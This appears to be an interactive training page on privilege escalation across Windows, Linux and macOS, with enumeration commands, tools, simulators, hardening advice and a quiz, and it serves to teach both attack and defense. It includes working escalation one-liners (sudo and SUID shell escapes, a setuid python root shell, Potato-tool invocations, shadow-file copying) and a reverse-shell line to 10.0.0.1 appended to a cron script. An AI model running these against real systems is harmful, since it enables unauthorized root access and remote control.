← Return to Dark Arts Vault

Privilege Escalation Lab

Master the art of elevating privileges from user to root/system in Windows, Linux, and macOS environments

0%

What is Privilege Escalation?

Privilege escalation is the act of exploiting a bug, design flaw, or configuration oversight to gain elevated access to resources that are normally protected from an application or user.

Two Main Types:

  • Horizontal: Access resources of another user at the same privilege level
  • Vertical: Gain higher privileges (user → admin/root)

Attack Lifecycle

1. Initial Access (low privileges) ↓ 2. Enumeration & Discovery ↓ 3. Vulnerability Identification ↓ 4. Exploitation ↓ 5. Privilege Escalation ↓ 6. Persistence & Lateral Movement

Why It Matters

Understanding privilege escalation is crucial for both offensive and defensive security:

  • Attackers use it to gain full system control
  • Defenders need to identify and remediate weaknesses
  • Critical step in most penetration tests
  • Helps in hardening system configurations

Privilege Escalation Journey

SYSTEM / ROOT
Full administrative control - kernel access, all files, all processes
Administrator / Sudo
Elevated privileges - can modify system settings, install software
Power User / Staff
Extended permissions - access to some restricted resources
Standard User
Limited access - can only modify own files and settings

Windows Privilege Escalation Paths

Critical

Unquoted Service Paths

Services with unquoted paths containing spaces can be exploited to execute arbitrary code with SYSTEM privileges.

Vulnerable Example
C:\Program Files\My Service\service.exe
Exploitation Order
C:\Program.exe C:\Program Files\My.exe C:\Program Files\My Service\service.exe
Critical

AlwaysInstallElevated

If both registry keys are enabled, MSI packages install with SYSTEM privileges regardless of user permissions.

Registry Check
HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer AlwaysInstallElevated = 1
High

DLL Hijacking

Applications loading DLLs from insecure locations can be exploited by placing malicious DLLs in the search path.

DLL Search Order
1. Application directory 2. System32 directory 3. System directory 4. Windows directory 5. Current directory 6. PATH directories
High

Scheduled Tasks Abuse

Scheduled tasks running with elevated privileges but pointing to modifiable scripts or executables.

Enumeration
schtasks /query /fo LIST /v Get-ScheduledTask | Get-ScheduledTaskInfo
Critical

Token Impersonation

SeImpersonatePrivilege allows processes to impersonate tokens of other users, potentially escalating to SYSTEM.

Check Privileges
whoami /priv
Medium

Unattended Installations

Configuration files left from automated installations may contain plaintext credentials.

Common Locations
C:\Windows\Panther\Unattend.xml C:\Windows\Panther\Unattended.xml C:\Windows\System32\sysprep\unattend.xml

Linux Privilege Escalation Paths

Critical

SUID/SGID Binaries

Binaries with SUID/SGID bits set run with the owner's privileges, potentially allowing escalation if misconfigured.

Find SUID Binaries
find / -perm -4000 -type f 2>/dev/null find / -perm -u=s -type f 2>/dev/null
Find SGID Binaries
find / -perm -2000 -type f 2>/dev/null
Critical

Sudo Misconfigurations

Overly permissive sudo configurations allow users to run commands as root without proper restrictions.

Check Sudo Rights
sudo -l
Dangerous Example
user ALL=(ALL) NOPASSWD: /usr/bin/vim
High

Cron Job Exploitation

Scheduled tasks running as root with world-writable scripts or in writable directories can be hijacked.

Cron Locations
/etc/crontab /etc/cron.d/* /var/spool/cron/crontabs/* crontab -l
Critical

Kernel Exploits

Outdated kernels may contain exploitable vulnerabilities allowing privilege escalation to root.

Check Kernel Version
uname -a cat /proc/version lsb_release -a
Medium

PATH Variable Manipulation

If scripts use relative paths and PATH is modifiable, malicious binaries can be executed with elevated privileges.

Exploitation
export PATH=/tmp:$PATH # Create malicious binary in /tmp
High

Capabilities Abuse

Linux capabilities allow fine-grained privilege control. Misconfigured capabilities can lead to escalation.

List Capabilities
getcap -r / 2>/dev/null
Dangerous Example
/usr/bin/python3 = cap_setuid+ep

macOS Privilege Escalation Paths

Critical

Dylib Hijacking

macOS applications may load dynamic libraries (dylibs) from insecure locations, similar to DLL hijacking on Windows.

Search Order
1. @rpath (runtime search path) 2. @loader_path (loader directory) 3. @executable_path (executable directory) 4. Fallback to system paths
Detection
otool -L /path/to/binary DYLD_PRINT_LIBRARIES=1 /path/to/binary
High

plist Abuse

Property list files control system behavior. World-writable plists or those in user-controlled directories can be exploited.

LaunchDaemon Locations
/Library/LaunchDaemons/ /System/Library/LaunchDaemons/ ~/Library/LaunchAgents/
Check Permissions
ls -la /Library/LaunchDaemons/ plutil -p /path/to/plist
High

Sudo Misconfigurations

Similar to Linux, macOS sudo misconfigurations allow command execution as root.

Check Sudo Rights
sudo -l cat /etc/sudoers
Medium

TCC Database Abuse

Transparency, Consent, and Control (TCC) database controls app permissions. Modifying it can grant unauthorized access.

TCC Database Location
~/Library/Application Support/com.apple.TCC/TCC.db /Library/Application Support/com.apple.TCC/TCC.db
Critical

SUID Binaries

Like Linux, macOS SUID binaries can be exploited if misconfigured.

Find SUID Files
find / -perm -4000 -type f 2>/dev/null
High

Kernel Extensions (kexts)

Loading malicious kernel extensions can provide full system control.

List Loaded Kexts
kextstat kextfind -loaded -b com.apple

Technique Comparison Matrix

Unquoted Service Path Exploitation

Exploit services with paths containing spaces but no quotes.

Enumeration
wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "c:\windows\\" | findstr /i /v """
PowerShell Alternative
Get-WmiObject -Class Win32_Service | Where-Object {$_.PathName -notmatch '\"' -and $_.PathName -match ' '} | Select Name, PathName, StartMode
Exploitation Steps
1. Identify vulnerable service path 2. Check write permissions on parent directories 3. Place malicious executable in exploitable location 4. Restart service or wait for reboot
DLL Hijacking (Robber Tool)

Identify applications vulnerable to DLL hijacking.

Using Robber
robber.exe -d C:\Program Files\VulnerableApp
Manual Detection with Process Monitor
1. Run procmon.exe 2. Filter: Result is "NAME NOT FOUND" 3. Filter: Path ends with ".dll" 4. Identify writable locations
Token Impersonation

Leverage SeImpersonatePrivilege to escalate to SYSTEM.

Check for Privilege
whoami /priv | findstr "SeImpersonatePrivilege"
Exploitation Tools
JuicyPotato.exe -l 1337 -p C:\Windows\System32\cmd.exe -t * PrintSpoofer.exe -i -c cmd GodPotato.exe -cmd "cmd /c whoami"
SUID Binary Exploitation

Abuse SUID binaries to execute commands as the file owner (often root).

Find SUID Binaries
find / -perm -4000 -type f -exec ls -la {} \; 2>/dev/null
Common Exploitable Binaries
# vim/vi :set shell=/bin/bash :shell # find find / -exec /bin/bash -p \; -quit # nmap (older versions) nmap --interactive !sh
GTFOBins Reference
# Always check GTFOBins for exploitation methods # https://gtfobins.github.io/
Sudo Privilege Escalation

Exploit misconfigured sudo permissions.

Enumerate Sudo Rights
sudo -l
Example Exploits
# If vim is allowed sudo vim -c ':!/bin/bash' # If less is allowed sudo less /etc/profile !/bin/bash # If python is allowed sudo python -c 'import os; os.system("/bin/bash")'
Writable Cron Jobs

Hijack scheduled tasks running with elevated privileges.

Identify Cron Jobs
cat /etc/crontab ls -la /etc/cron.* crontab -l cat /var/spool/cron/crontabs/*
Find Writable Scripts
find /etc/cron.* -type f -perm -o+w 2>/dev/null
Exploitation
# Append reverse shell to writable cron script echo 'bash -i >& /dev/tcp/10.0.0.1/4444 0>&1' >> /path/to/script.sh
Capabilities Exploitation

Abuse Linux capabilities assigned to binaries.

List All Capabilities
getcap -r / 2>/dev/null
Dangerous Capabilities
# cap_setuid - allows changing UID /usr/bin/python3 = cap_setuid+ep python3 -c 'import os; os.setuid(0); os.system("/bin/bash")' # cap_dac_read_search - read any file tar -cvf shadow.tar /etc/shadow tar -xvf shadow.tar

Cross-Platform Comparison

Attack Vector Windows Linux macOS
Privileged Binaries Services, Tasks SUID/SGID SUID/SGID
Library Injection DLL Hijacking LD_PRELOAD Dylib Hijacking
Scheduled Tasks Task Scheduler Cron Jobs LaunchDaemons/Agents
Path Exploitation Unquoted Service Paths PATH Variable PATH Variable
Credentials Unattend.xml, SAM /etc/shadow, ssh keys Keychain, plists
Kernel Exploits Windows Exploits Linux Kernel CVEs XNU Kernel CVEs

SUID Binary Finder Simulator

Practice identifying SUID binaries in a simulated Linux environment. Click "Scan System" to enumerate binaries with the SUID bit set.

root@hexworth:~#

What is SUID?

SUID (Set User ID) is a special permission that allows a file to be executed with the privileges of the file owner, rather than the user running it.

Permission Format
-rwsr-xr-x (SUID bit = 's' in owner execute position) -rwxr-sr-x (SGID bit = 's' in group execute position)

Common Vulnerable Binaries

• /usr/bin/find • /usr/bin/vim • /usr/bin/nmap (older versions) • /usr/bin/python • /usr/bin/perl • /usr/bin/bash • /usr/bin/less • /usr/bin/more

Exploitation Resources

Always reference GTFOBins for SUID exploitation techniques:

https://gtfobins.github.io/ Search for the binary name to find: • Shell escape sequences • File read/write methods • Sudo exploitation • SUID exploitation

Unquoted Service Path Checker

Test Windows service paths for the unquoted path vulnerability. Enter a service path to check if it's vulnerable.

Enter Service Path

How It Works

When Windows encounters an unquoted path with spaces, it tries to execute files in this order:

Example: C:\Program Files\My App\service.exe
1. C:\Program.exe 2. C:\Program Files\My.exe 3. C:\Program Files\My App\service.exe

An attacker with write access to C:\ or C:\Program Files\ can place a malicious executable that gets executed instead.

Exploitation Requirements

  • Service path contains spaces
  • Service path is NOT quoted
  • Write permissions on intermediate directories
  • Service runs with elevated privileges
  • Ability to restart service or system

Remediation

Always quote service paths containing spaces:

Vulnerable
C:\Program Files\My Application\service.exe
Secure
"C:\Program Files\My Application\service.exe"

Test These Examples

C:\Program Files\Vulnerable Service\app.exe
C:\Custom Apps\My Service\bin\service.exe
"C:\Program Files\Safe Service\app.exe"
C:\Windows\System32\svchost.exe

Privilege Escalation Tools

Comprehensive reference for automated enumeration and exploitation tools. Click any command to copy to clipboard.

WinPEAS (Windows Privilege Escalation Awesome Scripts)

Automated Windows enumeration script that checks for common privilege escalation vectors.

winpeas.exe
winpeas.exe quiet
winpeas.exe systeminfo

Part of PEASS-ng suite. Outputs color-coded findings.

PowerUp (PowerSploit)

PowerShell script for Windows privilege escalation enumeration.

Import-Module .\PowerUp.ps1
Invoke-AllChecks
Invoke-ServiceAbuse -Name VulnService
Windows Exploit Suggester

Compares system patch level against Microsoft vulnerability database.

systeminfo > systeminfo.txt
windows-exploit-suggester.py --database 2024-12-23-mssb.xls --systeminfo systeminfo.txt
Seatbelt

C# project for offensive security host survey and situational awareness.

Seatbelt.exe all
Seatbelt.exe -group=system
Seatbelt.exe -group=user
BeRoot

Post-exploitation tool to check common Windows misconfigurations.

beRoot.exe
Watson

Enumerate missing KBs and suggest exploits for Privilege Escalation.

Watson.exe
Robber (DLL Hijacking)

Tool to find DLL hijacking opportunities.

robber.exe -d C:\Program Files\TargetApp
LinPEAS (Linux Privilege Escalation Awesome Script)

Automated Linux/Unix enumeration script.

./linpeas.sh
./linpeas.sh -a
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh
LinuxPrivChecker

Python script to enumerate system configuration and identify privilege escalation vectors.

python linuxprivchecker.py
python3 linuxprivchecker.py -w -o output.txt
Linux Exploit Suggester

Suggests kernel exploits based on operating system version.

./linux-exploit-suggester.sh
./linux-exploit-suggester-2.pl
Unix-Privesc-Check

Shell script to check for common privilege escalation vectors.

./unix-privesc-check standard
./unix-privesc-check detailed
pspy

Unprivileged Linux process snooping to detect cron jobs, etc.

./pspy64
./pspy32 -pf -i 1000
GTFOBins Reference Commands

Manual enumeration commands for finding exploitable binaries.

find / -perm -4000 -type f 2>/dev/null
sudo -l
getcap -r / 2>/dev/null
cat /etc/crontab
PEASS-ng Suite

Cross-platform privilege escalation suite (WinPEAS, LinPEAS, MacPEAS).

Installation
git clone https://github.com/carlospolop/PEASS-ng.git

Supports Windows, Linux, and macOS with color-coded output.

BeRoot

Available for Windows, Linux, and macOS.

beroot.exe # Windows
python beroot.py # Linux
python beroot.py # macOS
Metasploit Local Exploit Suggester

Automated exploit suggestion based on active session.

use post/multi/recon/local_exploit_suggester
set SESSION 1
run
Manual Enumeration

Essential commands to run on any system.

System Information
# Windows systeminfo whoami /all # Linux uname -a id cat /etc/os-release
Network Information
# Windows ipconfig /all netstat -ano # Linux ifconfig netstat -tulpn

Defense & Hardening

Implement these security measures to prevent privilege escalation attacks. Check off items as you implement them.

General Security Measures

Keep Systems Updated

Regularly apply security patches and updates for OS and applications

Principle of Least Privilege

Users and services should operate with minimal required permissions

Multi-Factor Authentication

Implement MFA for all administrative accounts

Application Whitelisting

Use AppLocker or similar to control executable execution

Security Auditing & Logging

Enable comprehensive logging and monitor for suspicious activity

Windows-Specific Hardening

Quote Service Paths

Ensure all service paths with spaces are properly quoted

Disable AlwaysInstallElevated

Remove registry keys that allow MSI installation with elevated privileges

Secure DLL Search Order

Enable SafeDllSearchMode and use fully qualified paths

Review Scheduled Tasks

Audit tasks for proper permissions and secure script locations

Restrict Token Privileges

Minimize SeImpersonate and other dangerous privileges

Remove Unattended Installation Files

Delete unattend.xml and similar files containing credentials

Linux-Specific Hardening

Audit SUID/SGID Binaries

Regularly review and remove unnecessary SUID/SGID permissions

Configure Sudo Properly

Use specific command paths, avoid NOPASSWD where possible

Secure Cron Jobs

Ensure cron scripts are owned by root with proper permissions (644)

Apply Kernel Updates

Keep kernel updated to patch privilege escalation vulnerabilities

Protect PATH Variable

Use absolute paths in scripts, restrict PATH modifications

Review Capabilities

Audit and minimize Linux capabilities on binaries

Implement SELinux/AppArmor

Use mandatory access control systems

CIS Hardening Guides

Follow Center for Internet Security benchmarks:

  • CIS Microsoft Windows Benchmarks
  • CIS Linux Distribution Benchmarks
  • CIS Apple macOS Benchmarks

STIG Compliance

Implement Security Technical Implementation Guides:

  • DoD Windows STIGs
  • DoD Linux STIGs
  • Regular compliance scanning

Monitoring & Detection

Implement detection mechanisms:

  • EDR/XDR solutions
  • SIEM correlation rules
  • File integrity monitoring
  • Privilege escalation alerts

Privilege Escalation Assessment

Test your knowledge with these 12 questions. Score 80% or higher to earn 80 XP!